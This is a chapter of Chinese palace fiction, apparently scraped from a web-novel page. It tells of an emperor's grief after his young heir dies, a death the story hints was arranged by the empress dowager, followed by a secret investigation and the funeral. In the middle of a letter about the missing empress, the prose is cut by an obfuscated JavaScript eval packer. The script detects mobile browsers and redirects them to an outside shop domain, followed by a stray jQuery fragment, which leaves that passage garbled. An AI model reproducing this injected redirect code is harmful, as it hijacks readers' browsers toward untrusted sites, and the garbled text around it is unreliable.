这阵在孙艾听来无比刺耳的立后风声，刮过南越的茶棚之前，早已在北方那座巍峨的宫城里，卷起过一场吞噬一切的血雨腥风。
宣正殿鎏金兽炉吐着袅袅青烟，却拂不去殿中沉沉郁气。几位须发皆白的老臣，正躬身陈述着重复多次的恳请：“陛下，中宫久虚，皇嗣关乎国本。恳请陛下早作决断，广选淑女，以延宗祧。”
御座之上，沈樽头戴通天冠，冠檐投下的浅影覆在眉眼间，面容瞧不真切，唯有紧绷的下颌线，泄露出几分未平的暗涌。他对这些奏请始终保持着一种漠然的沉默，仿佛那些关于子嗣、关于传承的话语，都隔着一层看不见，听不着的屏障。
蓬莱殿珠帘后，陈太后指尖的沉香佛珠捻动得平稳规律，耳畔小太监低声禀报着朝堂诸事。老臣们联名恳请立后、绵延皇嗣的进言，一字不落地传入她的耳中。她知道，沈樽心底那点未灭的执念，全系在东宫身上。只要太子沈瑁还在，他作为父亲的那点柔软和念想就还在，对那个“已逝”之人的牵连便断不干净。这不仅是情感的余烬，更是对她陈家未来权势的潜在威胁。要让他彻底死心，接受新的开始，就必须连这最后的火种也一并掐灭。
不久，东宫传出太子感染风寒的消息。起初只是微恙，御医药石频投，病情却反复迁延，沈瑁的小脸日渐消瘦，精气神也萎靡下去。陈太后表现得比谁都焦心，不仅连夜增派太医轮值，更将自己宫中“最妥当”的佟嬷嬷遣去东宫“贴身照料”，言行间尽是对皇孙的疼惜。
一个春雨绵密的夜晚，浸着挥之不去的潮寒。东宫灯火惶惶，映着窗外漆黑雨幕。
急报正是在这样的夜里，撕裂了紫宸殿的寂静：“太子殿下突发急症，腹痛剧烈，上吐下泻！”
沈樽掷笔而起，冲入雨中。冰凉的春雨瞬间打湿他的发髻与肩头，却冷却不了他心头燎原的恐慌。踏入东宫殿内，他看到的是比雨更令人胆寒的景象。
他那曾经活泼好动的儿子，此刻正蜷缩在床榻上，小脸惨白，浑身因剧痛而痉挛。间歇性地呕吐、泄泻，让原本清亮的眼睛已然涣散。宫人慌乱无措，太医们围在榻前，面色凝重，施针灌药，却像石沉大海。殿内弥漫着汤药与秽物混合的气味。
“车儿！”沈樽抢到榻边，握住儿子冰冷汗湿的小手。
“父皇……”孩子微弱地吐出两个字，便又陷入痛苦的呻吟中。
“怎么回事？！是何病症？！用最好的药！无论如何给朕治好！”沈樽的声音嘶哑，目光如刀般扫过跪了一地的太医。
为首的院正重重叩首，声音发颤：“陛下，殿下此症，来势凶猛，脉象淆乱，依症状看，极似凶险无比的‘绞肠痧’！此症最耗元气，臣等已用尽办法，然殿下年幼，又先有风寒入体，正气不足，这邪毒攻伐太急啊！”
“绞肠痧……”沈樽重复着这三个字，心中那根怀疑的弦绷到了极致。他亲眼看着太医们尝试止泻、镇呕、回阳，可儿子的气息还是随着一次次剧烈的呕吐泄泻，肉眼可见地微弱下去。汤药喂进去，转眼就吐出来。银针扎下去，身体的反应却越来越微茫。
时间在绝望的抢救中一点点流逝。沈樽从最初的震怒、命令，到后来的沉默、僵立。
他贵为天子，富有四海，此刻却只能眼睁睁看着自己孩子的生命流逝，什么也抓不住。他握着车儿的手，感觉到那点温度正在迅速褪去。
黎明前最黑暗的时刻，沈瑁最后一次微弱地抽搐了一下，气息彻底湮灭。
殿内的哭声压抑而破碎。沈樽恍若未闻，他只是更紧地搂住儿子尚且温软的小身子，手臂因用力而颤抖，脸颊贴着孩子冰凉汗湿的额头，试图用自己滚烫的体温去对抗那正在迅速流失的暖意。而他的世界也只剩下怀中这逐渐冷却的重量。
陈太后静立一旁，捻着佛珠，面上悲戚。侧首对身旁的心腹佟嬷嬷低声吩咐：“去准备吧，待会儿，为太子殿下净身、更衣，这孩子走得不舒坦，得让他体面些。”
佟嬷嬷躬身应下，小心翼翼地走上前两步，对着紧抱太子的沈樽说道：“陛下节哀。让奴婢们伺候太子殿下更衣吧？”她的手刚刚试探性地触到沈瑁一片污渍的袖角。
就被一声骇人的厉声喝退：“别碰他！”这嘶哑到极致的低吼，从沈樽喉咙深处迸出，并不十分响亮，却让所有人都战栗。
他猛地侧过身，用整个背部挡住了嬷嬷的手，将那小小的遗体圈进自己的怀抱中，护得更紧。任何试图分开他们的举动，都是不可饶恕的侵犯。他看也没看那群宫人，赤红的眼睛只死死盯着怀中孩子青白的面容，好像这样就能盯出一丝生机。
殿内空气凝固，无人再敢出声或上前。陈太后眸光微动，终是轻轻叹了口气，不再言语，只静静看着。
时间在死寂中流逝，唯有更漏滴答，残酷地计算着生死之间的距离。沈樽能清晰地感觉到，怀中的小身体正一点点变得僵硬、冰冷，任他如何紧拥、如何温暖，都无法挽回。那件脏污的衣裳，此刻紧紧贴在他的胸膛，提醒着他，儿子临终时的痛苦，也灼烧着他作为父亲的无能。
当最后一丝象征生命的温热彻底消散，怀抱里只剩下冰冷时，一股灼热腥甜，猛地冲上喉头。沈樽身体剧震，“噗”地一声，一口鲜血喷溅在地砖上，留下刺目的红。紧抱着孩子的双臂终于无力地松脱，高大的身躯向后栽倒。
他眼前最后的景象，是怀中沈瑁毫无生气的脸。随后无边的黑暗将他淹没。
“陛下！”惊呼声四起。内侍、太医们慌忙冲上前，从皇帝臂弯里接过太子遗体，又手忙脚乱地抬起已然昏死过去的沈樽。
陈太后此时快步上前，顺理成章地接管了一切，“速送陛下回寝宫！召所有太医会诊！务必让陛下醒转！”她看了一眼被宫人接过去的孩子，沉声下令：“……为太子殿下净身、更衣、入殓。”混乱中，沈樽被移走。那滩血迹被迅速拭去。
当沈樽在紫宸殿醒来时，窗外天色是一种哀戚的灰白，连绵的春雨暂歇，却未放晴。
他睁开眼，望着明黄帐顶，没有立刻起身。胸口仍残留着闷痛与虚空，口中似乎还有那股铁锈般的腥甜。记忆回笼，东宫雨夜、冰冷的小身体……每一幕都像钝刀，缓慢而持续地切割着他已然麻木的神经。
他没有流泪，只是静静躺着，直到内侍总管朱福轻手轻脚地近前，红着眼眶，颤声禀报：“陛下，您已昏迷一天一夜了，太子殿下的身后事，礼部与宗正寺已在请示。”
沈樽缓缓坐起身，动作有些迟缓。他的面容苍白消瘦，唯独那双眼睛，深黑沉寂，所有的惊涛骇浪都已在那口血中呕尽了一般。
“传朕旨意，”他的声音低哑却清晰，一字一句，不容拒绝，“皇太子乃朕之嫡子，仁孝聪敏，天资粹美。皇考命名，隐示承宗器之意。今不意薨逝，朕心震悼，举国同悲。着以皇太子之礼，先行奉安于京郊吉壤。待朕百年之后，附葬于朕的山陵。同时辍朝七日，京城禁乐祭百戏。礼部、宗正寺、内侍省即刻拟定仪程，务求哀荣备至。”
“是。”朱福应下轻轻掩上门。
沈樽独自在空寂中又静坐了片刻，然后，他略略提高了声音，唤道：“朱福。”
一直守在殿门外的朱福应声而入，垂手恭立。
沈樽的声音已经恢复了一贯的平稳，听不出太多情绪：“去传旨，召刑部侍郎李巩即刻入宫。”
“是。”朱福利落地应下，待他的脚步声远去，沈樽缓缓起身，趿着便鞋，径直走到了御案前。案上，一切都凝固在他离开、奔往东宫的一瞬。奏章摊开着，那支从他指间滑落的朱笔已被拾起，端正地搁在笔山上。然而，那道殷红朱砂划出的痕迹，却清晰得像一道狰狞且无法愈合的血口，触目惊心。
沈樽伸出手指，指尖微微发颤，悬在那道朱痕上方，好似可以触摸到那晚几乎将他撕裂的剧痛，又想将其狠狠抹去。最终，他的手指蜷缩起来，缓缓收回，握成了一个拳头，抵在案沿。
约莫半个时辰后，殿外传来内侍的通报：“陛下，刑部侍郎李巩奉召觐见。”
沈樽闭上眼，深吸了一口气，再睁开时，眸中所有翻腾的痛楚，都被牢牢锁在深处，“宣。”
李巩屏息垂首，立于御前。他能清晰地察觉到，皇帝周身散发的悲恸和压抑的戾气，比过往任何一刻都要深重，更令人心悸。
“子固，”沈樽没有看他，目光落在窗外灰蒙蒙的天际，“太子染疾前后，东宫一应饮食、医药、茶水、汤沐，所有经手人等，无论宫女、内侍、太医、乃至送物杂役，给朕一个不漏地查。”
李巩心头巨震，他深知此事千钧之重，遂叩首道：“臣，遵旨！必竭尽所能，暗中详查。”
“不只是人，”沈樽继续道，声音冰冷如铁，“太子近日所用器皿、衣物、卧具、玩物，乃至殿内熏香、盆栽，凡日常可触可近之物，皆需仔细勘验。”
李巩重重叩首，以额触地道：“是！”
“去吧。”沈樽挥了挥手，疲惫地闭上了眼。
李巩悄无声息地退下，如同他来时一样，没有惊动任何人。
殿内重归寂静。
沈樽独自坐在御案前，盯着那抹殷红，不知在想什么。
门外传来极轻的脚步声。
朱福的声音在殿外响起，压得很低：“陛下，梁统领那边来信了。”
沈樽睁开眼。
“进来。”
朱福双手捧着一封火漆密封的信函，趋步上前，恭敬呈上。沈樽接过，撕开封口，抽出信纸。
臣梁荣顿首再拜：
奉旨密查皇后娘娘下落以来，臣率亲信自玉门关外，西至沙州、伊州，北抵戈壁深处，凡商旅可行之处、流民能至之地，皆已细细访查。然西北全境，无皇后娘娘踪迹。惟在几处关隘发现，贴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17694743|207974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有海捕文书，所绘之人与皇后相似。
臣暗查文书来源，查至经办书吏时，发现其暴毙家中。仵作验过，说是急病。
关外茫茫，时日愈久，希望愈渺。臣斗胆直言，娘娘若尚在人世，数月之间，必有音讯。若至今杳然，臣恐娘娘已遭不测，陛下当以社稷为重。
沈樽捏着信纸的手，倏然一紧。
殿内的烛火噼啪一声，爆开一朵灯花。窗外夜色正浓，星子稀疏，月光惨淡，照在宫瓦上，一片清冷。
他想起孙艾之前跪在他面前的样子，想起她说“陛下若不许，臣妾便长跪不起”。想起她决绝的背影，想起她最后回头看他时，那双眼睛里的光。
那光，如今在哪儿？
他缓缓起身，走到书案前，铺开一张素笺，提笔蘸墨。
只写了三个字：继续找。
墨迹未干，他便封好，递给朱福：“八百里加急，送梁荣。”
朱福双手接过，不敢多言，躬身退下。
沈樽没有再看窗外，只是坐回御案前，望着那盏摇曳的烛火，一动不动。天亮之后，他会继续上朝，继续批奏章，继续做那个万人之上的皇帝。但此刻，他只想一个人，坐在这空荡荡的殿里，等一封不知道会不会来的回信。心里那点微弱的火光，又暗了一分。
太子沈瑁的灵柩，最终停在了太极殿。
旨意一出，前朝后宫俱是暗流涌动，按制，太极殿只能停放大行皇帝的梓宫。如今却要将太子灵柩停放于此，这是前所未有、逾越常制的殊荣。但无人敢置一词。因为这是沈樽作为父亲，所能给予儿子的最后一份超越生死、更凌驾一切规训之上的溺爱。更是他向所有人，发出的一道冰冷而悲怆的宣言：我儿，配享这世间至高的尊荣，他的离去，于己、于国，皆是倾天之憾。
此刻，这座象征着无上皇权的巍峨殿堂，素白一片。层层收束的雕梁之下，沉重的金丝楠木棺椁，静静停放在御阶之前、龙椅之下，被无数白烛与长明灯环绕。烛烟沉沉，凝而不散，寒意也顺着蟠龙金柱一寸寸往下渗。
出殡之日，沈樽步入这令人心痛的大殿。微微佝偻的身形在宏伟殿宇的映衬下，更显孤峭的伶仃。他一步步走向那具棺椁。脚步声落下，回响在空荡荡的殿堂里绕了几圈，才终于消散。
殿顶天光透过高窗，与烛火一同，为棺内敷上一层庄严而神圣的光晕。沈瑁身着极尽繁复华丽的太子冕服，静静躺在其中，面容经过精心修饰，平静如熟睡，唯有那毫无生气的青白，泄露着死亡的真相。
沈樽长久地凝视，像是要在盖棺前，把沈瑁的样子刻进脑海。他缓缓地伸出手。指尖微颤，越过冰冷的棺椁边缘，落在孩子交叠于胸前的手上。触手的那一片冰冷，瞬间刺穿了所有记忆里的温热。那只曾被他小心翼翼捧在掌心的婴孩小手，那只偶尔会调皮地挠他掌心的、渐渐有了力量的手……此刻，只余下再也暖不回的僵冷。
他还想再摸一摸孩子的脸颊。可手刚抬起，便开始剧烈颤抖，如同风中秋叶。他不敢落下，怕一触碰，就会惊散了这精心维持的、看似安然沉睡的梦。更怕那真实的冰凉沿着指尖涌来，将他最后一点自欺的勇气也碾成齑粉。
他猛地闭上眼，喉结剧烈滚动，将翻涌上来的悲鸣死死扼住。良久，深深吸了一口气，再睁眼时，眸底已是一片被痛苦淬过的寒潭。
所有的波澜，都封冻在最深处。
他最后看了棺中的孩子一眼。然后，收回手，转过身。
“封棺。”
沉重的棺盖被礼官和内侍缓缓合拢，最终隔绝了生死。
太极殿依旧庄严，什么也没改变。可只有他知道，有些东西已经永远留在了那具小小棺椁里，也留在了此后每一个孤寂的夜里。
殿外，淅沥春雨又添凄惶，太子丧仪便在这无边烟雨里启行。卤簿仪仗逶迤如龙，白衣如雪漫过长街，哭声震彻宫闱。沈樽浑然不觉跟出殿去，径直走入雨中。侍从战战兢兢撑起伞紧随其后，却被他一个眼神定在原地。冰冷的雨丝打在他的脸上、鬓边，混入了温热的泪水，又迅速变得同样冰冷。
他感受着这天地间的寒意，似是可以稍稍麻木从五脏六腑里透出来的剧痛。衣袍的下摆很快被水浸透，沉重地拖曳着。眼看棺椁即将模糊在雨幕中，他又不自觉地向前追了几步，虽然步伐试图维持平稳，但每一步都带着不易察觉的虚浮和迟滞，仿若行走在刀尖。
朱福见状，深吸一口气，上前半步跪倒在地拦住沈樽道：“陛下若亲送，恐违礼制。”其余侍从也纷纷跪下。
直到仪仗的尽头彻底消失在眼前，他的身形猛地一晃，全身的力气都被抽干，内侍及时地搀扶，才免去他跌倒的狼狈。龙袍之下，他的身躯愈发消瘦。
此后，晨昏于他而言，只剩枯坐与凝望，廊下的日影挪了又挪，却再不见那个小大人般的身影来向他问安。